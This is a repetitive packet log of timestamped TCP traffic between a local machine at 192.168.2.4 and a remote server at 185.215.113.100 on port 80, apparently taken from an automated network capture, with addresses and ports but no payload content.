Aug 30, 2024 18:18:08.906002998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906013012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906017065 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906023026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906032085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906039953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906048059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906052113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906064987 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906080008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906234980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906310081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906317949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906327009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906336069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906346083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906364918 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906384945 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906547070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906555891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906563997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906572104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906579971 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906582117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906589031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906596899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906605959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906608105 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906615019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906624079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906625032 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906646013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906660080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906825066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906835079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906871080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906898975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906908989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906915903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906924009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906933069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906934023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906940937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906949997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906955004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.906959057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.906996965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.907020092 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.907210112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.907226086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.907236099 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.907246113 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.907259941 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.907274008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.985115051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985135078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985145092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985162973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985172033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985214949 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.985253096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.985264063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985274076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985284090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985310078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.985322952 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.985476017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985485077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985493898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985502958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985512018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985521078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985524893 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.985532045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.985553980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.985574007 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.986650944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986660957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986670017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986702919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.986799002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986814022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986821890 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986831903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986845016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.986876011 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.986915112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.986962080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988321066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988343954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988352060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988388062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988409996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988471031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988485098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988496065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988523960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988538027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988559008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988622904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988672018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988704920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988733053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988743067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988744020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988776922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988806963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988847971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988876104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988886118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988894939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988903046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.988913059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988934040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.988957882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.989160061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989219904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.989223957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989232063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989263058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.989274025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.989290953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989300013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989309072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989332914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.989355087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.989397049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989407063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989415884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989428997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.989443064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.989470005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.991981983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992002010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992010117 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992050886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992089987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992100000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992109060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992129087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992153883 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992194891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992204905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992213964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992247105 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992259026 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992299080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992341042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992355108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992363930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992378950 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992408991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992475033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992490053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992522001 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992542028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992542982 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992553949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992588043 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992685080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992695093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992702961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992712021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992722988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992724895 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992731094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992754936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992779016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992889881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992901087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992908955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992919922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992930889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.992938995 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992964983 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.992973089 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993036032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993046999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993079901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993195057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993206024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993215084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993223906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993232965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993233919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993242979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993254900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993262053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993263960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993285894 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993304968 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993432045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993441105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993446112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993454933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993479013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993503094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993556023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993566036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993576050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993613958 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993681908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993693113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993702888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993710995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993726015 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993751049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993819952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993830919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993840933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993850946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993874073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993884087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.993988991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.993999958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994009972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994019032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994029045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994033098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994052887 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994065046 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994168997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994179964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994225025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994251966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994262934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994271040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994293928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994307041 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994457960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994467974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994477034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994487047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994496107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994504929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994509935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994518995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994529009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994529963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994538069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994546890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994548082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994575024 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994596958 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.994733095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994744062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.994782925 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.075771093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.075853109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.075862885 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.075870037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.075881004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.075886965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.075891972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.075901985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.075908899 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.075927973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.075963974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.075989008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.075999022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076009035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076016903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076025009 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076029062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076041937 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076066971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076239109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076247931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076256990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076265097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076271057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076277018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076286077 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076296091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076303005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076309919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076333046 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076348066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076592922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076606989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076616049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076626062 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076642036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076654911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076790094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076798916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076807976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076817036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076822042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076826096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076834917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076838970 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076848030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076855898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076869011 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076869965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.076884031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.076898098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077189922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077199936 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077208996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077218056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077223063 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077228069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077236891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077243090 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077263117 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077276945 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077442884 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077452898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077461958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077471018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077478886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077481985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077490091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077496052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077500105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077524900 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077538967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.077699900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.077733040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079654932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079699993 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079703093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079714060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079735041 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079751015 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079786062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079801083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079818964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079833031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.079900026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.079910040 CEST	80	49730	185.215.113.100	192.168.2.4
